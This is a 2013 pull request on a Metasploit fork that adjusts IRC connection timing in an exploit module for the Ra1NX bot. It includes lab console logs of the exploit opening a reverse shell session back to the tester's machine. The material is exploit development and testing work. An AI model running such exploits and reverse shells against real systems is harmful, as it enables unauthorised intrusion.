bwall/metasploit-framework — pull request #2 by jvazquez-r7 (2013-03-29 12:04:34+00:00)
Title: trying to solve irc comm issues

Hi @bwall,

This pull request references https://github.com/rapid7/metasploit-framework/pull/1644

It tries to solve the issues experienced while "check"ing. Your last commit https://github.com/bwall/metasploit-framework/commit/6cf44d9c85d88beb65b9a02b93c33f5732bdba7e wasn't solving the issues while checking on my side, on the other hand I must admit the "retry 4 times" approach doesn't like at all, I dont think it is going to solve root problem:

```
msf exploit(Ra1NX_pubcall_exec) > check
[*] The target is not exploitable.
msf exploit(Ra1NX_pubcall_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 192.168.1.134:6667 - Registering with the IRC Server...
[*] 192.168.1.134:6667 - Exploiting the Ra1NX bot...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo yC5v0y4rPFSmdJyN;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "yC5v0y4rPFSmdJyN\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.134:44510) at 2013-03-29 12:11:34 +0100

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 1? [y/N] y

```

I guess the issues were related to not giving time to the IRC server to process new connections, and communication is going desynchronized because of the poor protocol parsing we're doing. I've tried to solve the issued in the easy way, by just waiting a 3 seconds timeout when the IRC server is asking for time to process the connection. It seems to work well on my side:

```
msf exploit(Ra1NX_pubcall_exec) > check

[*] 192.168.1.134:6667 - Connecting to IRC server...
[*] 192.168.1.134:6667 - Connection successful, giving 3 seconds to IRC server to process our connection...
[+] The target is vulnerable.
msf exploit(Ra1NX_pubcall_exec) > exploit

[*] 192.168.1.134:6667 - Connecting to IRC server...
[*] Started reverse double handler
[*] 192.168.1.134:6667 - Connection successful, giving 3 seconds to IRC server to process our connection...
[*] 192.168.1.134:6667 - Registering with the IRC Server...
[*] 192.168.1.134:6667 - Exploiting the Ra1NX bot...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xJGrwLZGRCyMjZwb;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "xJGrwLZGRCyMjZwb\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.134:44512) at 2013-03-29 12:48:46 +0100

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 1? [y/N] y

[*] 192.168.1.134 - Command shell session 1 closed. Reason: User exit

```

Additionally I've added some cleanup. Please feel free to review, check, test and discuss any point. Once you feel comfortable, land this pull request into your repo and the original pull request will be automatically updated :) thanks!